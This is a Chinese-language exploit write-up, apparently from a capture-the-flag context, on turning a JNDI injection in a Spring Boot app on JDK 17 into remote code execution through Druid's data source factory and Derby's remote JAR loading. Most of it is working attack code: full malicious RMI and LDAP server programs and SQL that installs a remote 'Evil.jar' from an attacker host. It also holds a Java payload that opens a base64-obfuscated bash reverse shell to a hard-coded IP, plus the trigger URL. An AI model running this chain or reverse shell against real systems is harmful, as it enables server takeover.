高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过
高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过详细 调试分析思路
高版本JDK下Derby配合Druid转换JNDI注入为Jdbc攻击绕过
先看一下lib依赖,很明显使用了derby10.14.2.0版本
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.1</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>Derby</artifactId>
<version>0.0.1</version>
<name>Derby</name>
<description>Derby</description>
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid</artifactId>
<version>1.2.21</version>
</dependency>
<dependency>
<groupId>org.apache.derby</groupId>
<artifactId>derby</artifactId>
<version>10.14.2.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>路由源码如下
package com.example.derby;
import javax.naming.Context;
import javax.naming.InitialContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class IndexController {
public IndexController() {
}
@RequestMapping({"/"})
public String index() {
return "hello derby";
}
@RequestMapping({"/lookup"})
public String lookup(@RequestParam String url) throws Exception {
Context ctx = new InitialContext();
ctx.lookup(url);
return "ok";
}
}路由调用了lookup造成了jndi注入漏洞,其他依赖只有druid连接池和derby数据库。
并且是JDK17,在这个环境下还是需要利用一些额外的类去绕过,在Tomcat某些版本是可以BeanFactory配合EL去实现命令执行的,但本次我们研究利用Druid连接池的攻击
Druid 远程加载jar调用方法
Derby 能够通过SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE:
1、创建一个java 编译并打包成jar,放置在对应站点下,如:
import java.io.IOException;
public class testShell4 {
public static void exec() throws IOException {
Runtime.getRuntime().exec("cmd.exe /c calc");
}
}注意:方法要是static方法
2、sql语句部分如下:
INSTALL_JAR远程下载jar将类导入到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'调用PROCEDURE实现RCE。
CALL SALES.TOTAL_REVENUES()Jndi攻击->Jdbc攻击 调试分析
Druid是一个JDBC组件,它包括三个部分:
基于Filter-Chain模式的插件体系。
DruidDataSource 高效可管理的数据库连接池。
SQLParser
我们知道JNDI注入攻击函数lookup调试会调用重要函数getOBjectInstance()来实例化我们得恶意类
DruidDataSourceFactory#getObjectInstance如下
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();
for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}
return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}调用了createDataSourceInternal
之后跟踪进入config
config调用init初始化
继续跟踪进入createPhysicalConnection
最终在initSqls完成JDBC连接
并且发现连接的时候会执行SQL语句
我们效仿h2,也寻找是否有初始化的sql语句,到这里就转变为了sql可控的注入。而derby数据库也是可以加载Jar包的,我们翻阅.DruidDataSourceFactory源码 不难发现存在 initConnectionSqls 参数
但是这些参数并不是写在 JDBC得URL 里面, 而是跟上面的 driverClassName, url, username, password 一样, 写在 StringRefAddr 里面,StringRefAddr 只能传入字符串, 那么 initConnectionSqls 内的 SQL 语句就需要用分号分割
Attack
关于这个DruidDataSourceFactory的reference注入,放在RMI或是LDAP服务端都可以
RMI:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class DerbyEvilServer {
public static void main(String[] args) {
try{
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:derby:dbname;create=true";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://host.docker.internal:8000/Evil.jar', 'APP.Sample4', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4');CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec';CALL SALES.TOTAL_REVENUES();"));
ref.add(new StringRefAddr("init","true"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("pop",referenceWrapper);
}
catch(Exception e){
e.printStackTrace();
}
}
}我们搞一个ldap
package com.example.derby;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.List;
public class main {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo");
try {
List<String> list = new ArrayList<>();
list.add("CALL SQLJ.INSTALL_JAR('http://ip:8999/Evil.jar', 'APP.Evil', 0)");
list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
list.add("CALL cmd('bash -c {echo,base64数据}|{base64,-d}|{bash,-i}')");
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
}然后ida打包为jar上传到vps
制作恶意jar包如下
import java.io.IOException;
public class testShell4 {
public static void exec() throws IOException {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjM3LjE3My8yMzMzIDwmMQ==}|{base64,-d}|{bash,-i}");
}
}编译 + 打包成 jar
javac Evil.java
jar -cvf Evil.jar Evil.class将 Evil.jar 使用 Web Server 托管, 然后启动 LDAP Server, 最后访问 url进行RCE即可
http://127.0.0.1:10800/lookup?url=ldap://vps:1389/a
师傅能不能给一份N1CTF Junior 2024的附件啊。真的十分感谢 3194164801@qq.com